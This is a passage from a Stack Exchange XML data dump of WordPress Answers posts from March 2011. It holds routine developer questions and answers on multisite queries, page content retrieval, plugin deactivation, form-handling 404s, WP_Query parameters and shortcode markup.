online&#xA;  community work well, mature, and be a&#xA;  great place for members to spend their&#xA;  time and efforts.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I find the SO model quite intriguing,&#xA;  and thus far (I've been an on and off&#xA;  user on Superuser.com before&#xA;  participating in some of the beta SE&#xA;  sites) have been impressed with how&#xA;  well it works. I very much agree with&#xA;  the SO vision of 'self moderation' by&#xA;  communities, with 'official'&#xA;  moderators there to mainly deal with&#xA;  exceptional/outside the norm cases.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Regarding WordPress, I will caution&#xA;  that I am relatively new to the&#xA;  &quot;professional&quot; WP community - I've&#xA;  been a WordPress user for quite some&#xA;  time but have only recently started&#xA;  using it professionally and begun&#xA;  moving down the path of developing for&#xA;  WordPress. I say that to explain that&#xA;  I'm certainly not a respected&#xA;  figurehead in the community. That&#xA;  being said, regardless of whether I'm&#xA;  chosen as a moderator, I will continue&#xA;  to extol the virtues of the WordPress&#xA;  Q&amp;amp;A site to the people I do know in&#xA;  the community. I see a great deal of&#xA;  potential in the site and wish to see&#xA;  it grow to be a tremendous resource&#xA;  for users and developers.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I hope that's a sufficient response to&#xA;  help you understand a bit more about&#xA;  me and how I feel about the WordPress&#xA;  Q&amp;amp;A community and moderation/growth of&#xA;  online communities in general.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'll add that since joining the site in August, I've been incredibly impressed with the community that has sprung up here. I think there's enormous potential for WordPress Answers to be &lt;strong&gt;the best&lt;/strong&gt; resource on the internet for serious users and developers of WordPress (if it isn't already so!). I also think (and already see this happening to some degree) that there's great potential for having a really fun, engaging community of people here.&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2011-03-16T10:56:12.190" LastActivityDate="2011-03-16T10:56:12.190" CommunityOwnedDate="2011-03-15T20:09:18.233" CommentCount="1" />
  <row Id="12158" PostTypeId="2" ParentId="2534" CreationDate="2011-03-15T20:11:27.653" Score="0" ViewCount="" Body="&lt;p&gt;I had a similar problem. I needed to get a list of posts across all network sites sorted by comments (to show the most popular posts). This is the function that I used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basis is that it first gets a list of all the blog ids in your network. It then builds a big single query (using UNION to combine all of the rows and not requiring ugly JOINs) that gets a result containing the columns blog_id, ID, and comment_count. Using that, I then use get_blog_post() to get each of the posts detailed information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some debug lines that you can use at different points to see what's happening.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function txx_top_posts_mu( $howMany = 10 ) {&#xA;global $wpdb;&#xA;global $table_prefix;&#xA;&#xA;// get an array of the table names that our posts will be in&#xA;// we do this by first getting all of our blog ids and then forming the name of the &#xA;// table and putting it into an array&#xA;$rows = $wpdb-&amp;gt;get_results( &quot;SELECT blog_id from $wpdb-&amp;gt;blogs WHERE&#xA;    public = '1' AND archived = '0' AND mature = '0' AND spam = '0' AND deleted = '0';&quot; );&#xA;if ( $rows ) :&#xA;    $blogPostTableNames = array();&#xA;    foreach ( $rows as $row ) :&#xA;        $blogPostTableNames[$row-&amp;gt;blog_id] = $wpdb-&amp;gt;get_blog_prefix( $row-&amp;gt;blog_id ) . 'posts';&#xA;    endforeach;&#xA;    //print_r($blogPostTableNames);&#xA;&#xA;    // now we need to do a query to get all the posts from all our blogs&#xA;    // ordered by the number of comments and with limits applied&#xA;    if ( count( $blogPostTableNames ) &amp;gt; 0 ) :&#xA;        $query = '';&#xA;        $i = 0;&#xA;        foreach ( $blogPostTableNames as $blogId =&amp;gt; $tableName ) :&#xA;            if ( $i &amp;gt; 0 ) :&#xA;                $query.= ' UNION ';&#xA;            endif;&#xA;            $query.= &quot; SELECT ID, comment_count, $blogId as `blog_id` FROM $tableName &quot;;&#xA;            $i++;&#xA;        endforeach;&#xA;        $query.= &quot; ORDER BY comment_count DESC LIMIT 0,$howMany;&quot;;&#xA;        //echo $query;&#xA;        $rows = $wpdb-&amp;gt;get_results( $query );&#xA;&#xA;        // now we need to get each of our posts into an array and return them&#xA;        if ( $rows ) :&#xA;            $posts = array();&#xA;            foreach ( $rows as $row ) :&#xA;                $posts[] = get_blog_post( $row-&amp;gt;blog_id, $row-&amp;gt;ID );&#xA;            endforeach;&#xA;            //print_r($posts);&#xA;            return $posts;&#xA;        endif;&#xA;    endif;&#xA;endif;&#xA;return false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="3967" LastActivityDate="2011-03-15T20:11:27.653" />
  <row Id="12159" PostTypeId="2" ParentId="12049" CreationDate="2011-03-15T20:14:27.493" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@IronGoofy:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can implement redirects with the &lt;code&gt;'template_redirect'&lt;/code&gt; hook as my answer to the following question illustrates:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1011/creating-301-redirects-for-post-page-category-and-image-urls/1023#1023&quot;&gt;&lt;strong&gt;Creating 301 Redirects for Post, Page, Category and Image URLs&lt;/strong&gt;&lt;/a&gt;?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that I don't use &lt;code&gt;.htaccess&lt;/code&gt; for this because I find &lt;code&gt;.htaccess&lt;/code&gt; modifications fragile and hard to debug. In my opinion it's much better to do these things in .PHP unless your server is constantly getting hit by thousands of requests for these old URLs per hour and then the efficiency of &lt;code&gt;.htaccess&lt;/code&gt; might be worth the extra effort &lt;em&gt;(but if you have such traffic your site probably would demand more than a lower end web hosting package too.)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-03-15T20:14:27.493" />
  <row Id="12160" PostTypeId="2" ParentId="12137" CreationDate="2011-03-15T20:47:43.097" Score="0" ViewCount="" Body="&lt;p&gt;I don't use videos to test. My quick guess would be to try &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_metadata&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_attachment_metadata()&lt;/code&gt;&lt;/a&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-15T20:47:43.097" CommentCount="1" />
  <row Id="12161" PostTypeId="1" AcceptedAnswerId="12168" CreationDate="2011-03-15T20:57:36.257" Score="0" ViewCount="640" Body="&lt;p&gt;I have to get specific page content (like page(12))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used that : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;?php $id=47; $post = get_page($id); echo $post-&amp;gt;post_content;  ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Work nice execpt for compatibility with qtranslate it return french and english text&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But  the loop is fine, return only the good language version&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(have_posts()) : while(have_posts()) : the_post(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;post&quot;&amp;gt;&#xA;&amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- .post --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the question.... HOW to get a specific page content insite the loop...&lt;/p&gt;&#xA;" OwnerUserId="3969" LastActivityDate="2011-03-16T11:36:18.200" Title="Proper way to get page content" Tags="&lt;page&gt;&lt;query&gt;&lt;content&gt;" AnswerCount="4" />
  <row Id="12162" PostTypeId="2" ParentId="12161" CreationDate="2011-03-15T21:16:23.760" Score="0" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;get_page&lt;/code&gt;, like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_page&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1844" LastActivityDate="2011-03-15T21:16:23.760" />
  <row Id="12163" PostTypeId="1" AcceptedAnswerId="12165" CreationDate="2011-03-15T21:36:26.967" Score="1" ViewCount="404" Body="&lt;p&gt;I have installed the &lt;a href=&quot;http://wordpress.org/extend/plugins/google-analyticator/&quot; rel=&quot;nofollow&quot;&gt;Google Analyticator plugin&lt;/a&gt; on my site. I am also using the &lt;a href=&quot;http://wordpress.org/extend/plugins/mobilepress/&quot; rel=&quot;nofollow&quot;&gt;MobilePress plugin&lt;/a&gt; to serve up a theme designed for non-smart-phone mobile browsers. I have set up &lt;a href=&quot;http://code.google.com/mobile/analytics/docs/web/#php&quot; rel=&quot;nofollow&quot;&gt;Google Analytics for Mobile&lt;/a&gt; for use in this theme and would like to disable the Analyticator plugin since it includes a call to a larger js file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if it is possible to disable a plugin using functions.php or some other method?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe I have located the code that adds the functions to the page, so if it's not possible to disable the entire plugin is it possible to stop the actions for executing? I have tried to disable them directly with no luck. Here is the code from the plugin file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_head', 'add_google_analytics', 999999);&#xA;add_action('init', 'ga_outgoing_links');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to remove those actions with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_action('wp_head','add_google_analytics',9999999);&#xA;remove_action('init', 'ga_outgoing_links');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2011-03-15T21:56:36.363" Title="Disable plugin / plugin action via theme" Tags="&lt;plugins&gt;&lt;themes&gt;&lt;functions&gt;&lt;mobile&gt;&lt;google-analytics&gt;" AnswerCount="2" CommentCount="9" FavoriteCount="2" />
  <row Id="12164" PostTypeId="2" ParentId="12161" CreationDate="2011-03-15T21:46:35.347" Score="0" ViewCount="" Body="&lt;p&gt;It's not used often, but myself I like &lt;code&gt;get_post_field()&lt;/code&gt; function ( &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/post.php#L425&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; ). It is compact, yet flexible for when you need to pull single specific field.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-15T21:46:35.347" />
  <row Id="12165" PostTypeId="2" ParentId="12163" CreationDate="2011-03-15T21:53:35.180" Score="3" ViewCount="" Body="&lt;p&gt;When WordPress activates a plugin, it calls the &lt;code&gt;activate_plugin()&lt;/code&gt; function.  This function activates the plugin in a sandbox and redirects somewhere else on success.  It's been used by a few authors to programmatically activate plugin dependencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's another function, &lt;code&gt;deactivate_plugin()&lt;/code&gt;, that does a similar thing in reverse ... it's actually how WordPress deactivates plug-ins when you click on &quot;deactivate&quot; or &quot;disable.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To deactivate an installed plugin, just call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;deactivate_plugins( '/plugin-folder/plugin-name.php' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, to deactivate multiple plugins at once:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;deactivate_plugins( array( '/first-plugin/first.php', '/second-plugin/second.php' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's a second parameter (the first is either a string or array of the plugins to disable) that allows you to disable the plugins without calling deactivation hooks.  By default, it's set to false, and I recommend you leave it that way.  Unless for some reason you want to bypass the deactivation, then you'd do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;deactivate_plugins( '/plugin-folder/plugin-name.php', true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would just turn off the plugin, but it wouldn't fire anything the plugin registered to do on deactivation.  So if the plugin removes options or db tables when it's deactivated, you'd want to do this &quot;silent&quot; deactivation to preserve that information and use it elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://hitchhackerguide.com/2011/02/11/deactivate_plugins/&quot; rel=&quot;nofollow&quot;&gt;Some documentation&lt;/a&gt; from A HitchHacker's Guide through WordPress&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-03-15T21:53:35.180" CommentCount="3" />
  <row Id="12166" PostTypeId="2" ParentId="12163" CreationDate="2011-03-15T21:56:36.363" Score="0" ViewCount="" Body="&lt;p&gt;not really sure what the question is, but try here: &lt;a href=&quot;http://justintadlock.com/archives/2009/08/06/how-to-disable-scripts-and-styles&quot; rel=&quot;nofollow&quot;&gt;http://justintadlock.com/archives/2009/08/06/how-to-disable-scripts-and-styles&lt;/a&gt; , or here: &lt;a href=&quot;http://www.findingsuccessonline.com/how-to-disable-wordpress-theme-plugins-and-widgets/&quot; rel=&quot;nofollow&quot;&gt;http://www.findingsuccessonline.com/how-to-disable-wordpress-theme-plugins-and-widgets/&lt;/a&gt;&#xA;-- why not just use the proper tracking code in the 2 different themes?&lt;/p&gt;&#xA;" OwnerUserId="3968" LastActivityDate="2011-03-15T21:56:36.363" CommentCount="2" />
  <row Id="12167" PostTypeId="2" ParentId="12148" CreationDate="2011-03-15T21:59:14.470" Score="3" ViewCount="" Body="&lt;p&gt;Don't worry about the duplicated content issue.  First of all, the canonical link fixes most browsers and search engine crawlers that will be reading your site (and it's actually been there for a while).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, the alleged &quot;duplicate content penalty&quot; that people have told you about (the things you've read that say it's bad for SEO) is a myth.  Google developers have been quoted repeatedly as saying so.  &lt;a href=&quot;http://code.ipstenu.org/2011/google-vs-splogs-part-1/&quot; rel=&quot;nofollow&quot;&gt;Here's a great article&lt;/a&gt; that references them and explains it in more detail than I care to go into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, you're fine.  Don't worry about paginated comments on your site.  They actually make the experience better for the user and don't harm your SEO score.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-03-15T21:59:14.470" CommentCount="5" />
  <row Id="12168" PostTypeId="2" ParentId="12161" CreationDate="2011-03-15T22:32:43.367" Score="0" ViewCount="" Body="&lt;p&gt;Here is the solution i have founs that work fine...the codex should be more specific about the apply_filter ... used it all everytime&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;?php $id=47; $post = get_page($id); $content = apply_filters('the_content', $post-&amp;gt;post_content); echo $content;  ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But i have found a great place to ask question (HERE)! thanks guys !&lt;/p&gt;&#xA;" OwnerUserId="3969" LastActivityDate="2011-03-15T22:32:43.367" />
  <row Id="12169" PostTypeId="1" AcceptedAnswerId="12173" CreationDate="2011-03-15T23:24:27.113" Score="0" ViewCount="95" Body="&lt;p&gt;Hey guys..... I have a page template I have made up &amp;amp; I also was POST'ing to it to process the form.... originally it was working fine, but I moved around some code &amp;amp; now it's not working for some reason. It just redirects to a 404 page for some reason??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if it matters but here is the code from the template file..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;Template Name: Detailed Quote&#xA;*/&#xA;&#xA;// Make paths up&#xA;&#xA;include(ABSPATH . '/includes/dq-config.php');&#xA;include(ABSPATH . '/includes/functions.php');&#xA;include(ABSPATH . '/includes/classes/class.detailedQuote.php');&#xA;&#xA;// Instantiate new detailedQuote class&#xA;$quote = new detailedQuote();&#xA;&#xA;if (isset($_POST['process'])) {&#xA;&#xA;    // Prepare post data&#xA;    $data = $quote-&amp;gt;prepare_quote_data($_POST);&#xA;&#xA;    try {&#xA;        // Error check submission&#xA;        $quote-&amp;gt;error_check_quote($data);&#xA;    } catch (Exception $e) {&#xA;        // Display output with error message&#xA;        $quote-&amp;gt;displayOutput($e-&amp;gt;getMessage());&#xA;        return false;&#xA;    }&#xA;&#xA;} else {&#xA;&#xA;    // Display page output&#xA;    $quote-&amp;gt;displayOutput();&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="1839" LastActivityDate="2011-03-16T00:37:38.600" Title="Why is POST'ing to my WP page template producing a 404?" Tags="&lt;page-template&gt;&lt;404-error&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="12170" PostTypeId="2" ParentId="12153" CreationDate="2011-03-16T00:06:59.617" Score="4" ViewCount="" Body="&lt;p&gt;I meant you should look at &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-postratings/&quot; rel=&quot;nofollow&quot;&gt;WP-PostRatings&lt;/a&gt; it has more then just star based rating :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/gYFqr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if that's not good you can use your own images.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-16T00:15:36.427" LastActivityDate="2011-03-16T00:15:36.427" CommentCount="1" />
  <row Id="12171" PostTypeId="1" CreationDate="2011-03-16T00:17:20.090" Score="0" ViewCount="135" Body="&lt;p&gt;Haven’t slept in about 30 hours now, can someone please help as the below code doesn’t work, it just displays all posts etc :|&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $args = array&#xA;  (&#xA;        'page' =&amp;gt; array(139, 54)&#xA;  );&#xA;&#xA;  $loopy = new WP_Query($args);&#xA;  while ($loopy-&amp;gt;have_posts()) : $loopy-&amp;gt;the_post(); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;item&quot;&amp;gt;&amp;lt;?php the_title(); &#xA;              echo '&amp;lt;br ?&amp;gt;';&#xA;&#xA;        echo '&amp;lt;/div&amp;gt;';      &#xA;  endwhile; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;?&gt;&lt;/p&gt;&#xA;" OwnerUserId="1464" LastActivityDate="2011-03-16T00:43:02.420" Title="Include multiple page ids in loop" Tags="&lt;loop&gt;&lt;pages&gt;" AnswerCount="2" />
  <row Id="12172" PostTypeId="2" ParentId="12171" CreationDate="2011-03-16T00:24:07.133" Score="3" ViewCount="" Body="&lt;p&gt;&lt;code&gt;page&lt;/code&gt; is not an accepted parameter for WP_query , you can use &lt;code&gt;page_id&lt;/code&gt;  but that doesn't accept an array , only one specific ID, so just use  &lt;code&gt;post__in&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $args = array(&#xA;        'post__in' =&amp;gt; array(139, 54)&#xA;  );&#xA;&#xA;  $loopy = new WP_Query($args);&#xA;  while ($loopy-&amp;gt;have_posts()) : $loopy-&amp;gt;the_post(); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;item&quot;&amp;gt;&amp;lt;?php the_title(); &#xA;              echo '&amp;lt;br ?&amp;gt;';&#xA;&#xA;        echo '&amp;lt;/div&amp;gt;';      &#xA;  endwhile; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can read more about the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Parameters&quot; rel=&quot;nofollow&quot;&gt;accepted parameters of wp_query at the codex&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-16T00:24:07.133" CommentCount="2" />
  <row Id="12173" PostTypeId="2" ParentId="12169" CreationDate="2011-03-16T00:37:38.600" Score="2" ViewCount="" Body="&lt;p&gt;WordPress listens to both &lt;code&gt;$_GET&lt;/code&gt; and &lt;code&gt;$_POST&lt;/code&gt; when parsing a request. If your form input names are conflicting with native query parameters, you'll send WordPress on a wild goose chase (and most likely end up with a 404).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your leisure, I've kindly listed them here - if any one of your form inputs uses these for a name, that's the troublemaker.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [0] =&amp;gt; m&#xA;    [1] =&amp;gt; p&#xA;    [2] =&amp;gt; posts&#xA;    [3] =&amp;gt; w&#xA;    [4] =&amp;gt; cat&#xA;    [5] =&amp;gt; withcomments&#xA;    [6] =&amp;gt; withoutcomments&#xA;    [7] =&amp;gt; s&#xA;    [8] =&amp;gt; search&#xA;    [9] =&amp;gt; exact&#xA;    [10] =&amp;gt; sentence&#xA;    [11] =&amp;gt; debug&#xA;    [12] =&amp;gt; calendar&#xA;    [13] =&amp;gt; page&#xA;    [14] =&amp;gt; paged&#xA;    [15] =&amp;gt; more&#xA;    [16] =&amp;gt; tb&#xA;    [17] =&amp;gt; pb&#xA;    [18] =&amp;gt; author&#xA;    [19] =&amp;gt; order&#xA;    [20] =&amp;gt; orderby&#xA;    [21] =&amp;gt; year&#xA;    [22] =&amp;gt; monthnum&#xA;    [23] =&amp;gt; day&#xA;    [24] =&amp;gt; hour&#xA;    [25] =&amp;gt; minute&#xA;    [26] =&amp;gt; second&#xA;    [27] =&amp;gt; name&#xA;    [28] =&amp;gt; category_name&#xA;    [29] =&amp;gt; tag&#xA;    [30] =&amp;gt; feed&#xA;    [31] =&amp;gt; author_name&#xA;    [32] =&amp;gt; static&#xA;    [33] =&amp;gt; pagename&#xA;    [34] =&amp;gt; page_id&#xA;    [35] =&amp;gt; error&#xA;    [36] =&amp;gt; comments_popup&#xA;    [37] =&amp;gt; attachment&#xA;    [38] =&amp;gt; attachment_id&#xA;    [39] =&amp;gt; subpost&#xA;    [40] =&amp;gt; subpost_id&#xA;    [41] =&amp;gt; preview&#xA;    [42] =&amp;gt; robots&#xA;    [43] =&amp;gt; taxonomy&#xA;    [44] =&amp;gt; term&#xA;    [45] =&amp;gt; cpage&#xA;    [46] =&amp;gt; post_type&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-16T00:37:38.600" CommentCount="1" />
  <row Id="12174" PostTypeId="2" ParentId="12171" CreationDate="2011-03-16T00:43:02.420" Score="0" ViewCount="" Body="&lt;p&gt;Found the answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to tell wordpress I want posts in conjunction with Bainternet's code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'post_type' =&amp;gt; 'page',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1464" LastActivityDate="2011-03-16T00:43:02.420" />
  <row Id="12175" PostTypeId="2" ParentId="12131" CreationDate="2011-03-16T00:43:41.273" Score="2" ViewCount="" Body="&lt;p&gt;maybe you include your scripts ui-core and picker to early. Use wp_enqueue script() to inlcude on the right hook. You must not include ui-core, onyl datepicker!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example: &#xA;&lt;code&gt;wp_enqueue_script( 'jquery-ui-datetimepicker', $this-&amp;gt;get_plugins_url( 'js/ui.datetimepicker.js', __FILE__ ), array('jquery-ui-core') , 0.1, TRUE );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any tutorials:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wpengineer.com/415/use-javascript-libraries-in-and-of-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://wpengineer.com/415/use-javascript-libraries-in-and-of-wordpress/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wpengineer.com/2028/small-tips-using-wordpress-and-jquery/&quot; rel=&quot;nofollow&quot;&gt;http://wpengineer.com/2028/small-tips-using-wordpress-and-jquery/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I use the datepicker on different plugins and works fine, but it is necassary, that the order is correctly.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-03-16T00:43:41.273" CommentCount="2" />
  <row Id="12176" PostTypeId="2" ParentId="12139" CreationDate="2011-03-16T00:56:17.913" Score="1" ViewCount="" Body="&lt;p&gt;I'd wrap it in a function (save it in &lt;code&gt;functions.php&lt;/code&gt;);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_list_pages_with_hash( $hash, $args = '' )&#xA;{&#xA;    $add_hash = create_function( '$link', 'return $link . &quot;#' . $hash . '&quot;;' );&#xA;    add_filter( 'page_link', $add_hash );&#xA;    $result = wp_list_pages( $args );&#xA;    remove_filter( 'page_link', $add_hash );&#xA;    return $result; // back compat in case 'echo' was null  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then call it like so!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_list_pages_with_hash( 'target', 'title_li=&amp;amp;depth=0' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-16T00:56:17.913" />
  <row Id="12177" PostTypeId="1" AcceptedAnswerId="12192" CreationDate="2011-03-16T01:26:18.943" Score="0" ViewCount="211" Body="&lt;p&gt;[box id='1' text=&quot;some texte&quot;]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the shortcode, at one point is outputting text&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the html result is : &lt;code&gt;&amp;lt;/p&amp;gt; some text &amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an extra closing paragraph in the start and and opening at the end... WHY ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where those come from ?.... any idea ?.. it screw my w3 validation !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** note i have found that... but look all &quot;patched&quot; to me...any clean solution... wp is dirty ? &lt;a href=&quot;http://wordpress.org/support/topic/shortcode-is-being-surrounded-by-p-tags&quot; rel=&quot;nofollow&quot;&gt;reference&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3969" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-06-01T21:33:20.583" LastActivityDate="2011-06-01T21:33:20.583" Title="ShortCode and extra &lt;/p&gt;" Tags="&lt;shortcode&gt;&lt;html&gt;&lt;markup&gt;" AnswerCount="3" />
  <row Id="12178" PostTypeId="2" ParentId="11892" CreationDate="2011-03-16T02:29:14.540" Score="2" ViewCount="" Body="&lt;p&gt;I don't know precisely if you say &quot;block paging by author&quot; if you want to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;do not show any posts of the author&lt;/li&gt;&#xA;&lt;li&gt;show all posts on one page&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Anyway, WordPress follows a template hierarchy: &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Hierarchy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meaning: if there is a file named &quot;author.php&quot; in your /wp-content/theme/yourtheme folder then that file can be edited to display anything you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside that file you find &quot;the loop&quot; : &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/The_Loop&lt;/a&gt; (under the the part were the author info is).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not want to show any posts at all you can e.g. comment out the loop &lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2011-03-16T02:29:14.540" CommentCount="2" />
  <row Id="12179" PostTypeId="2" ParentId="12177" CreationDate="2011-03-16T02:36:09.850" Score="0" ViewCount="" Body="&lt;p&gt;Make sure there is a double line-break before &lt;strong&gt;and&lt;/strong&gt; after the shortcode in the editor;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Lorem ipsum dolor sit amet,&#xA;  consectetur adipiscing elit. Aenean&#xA;  sodales, neque vitae imperdiet&#xA;  aliquet, elit tortor egestas dui, vel&#xA;  fermentum neque est eu est.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[box id='1' text=&quot;some texte&quot;]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Lorem ipsum dolor sit amet...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-16T02:36:09.850" CommentCount="1" />
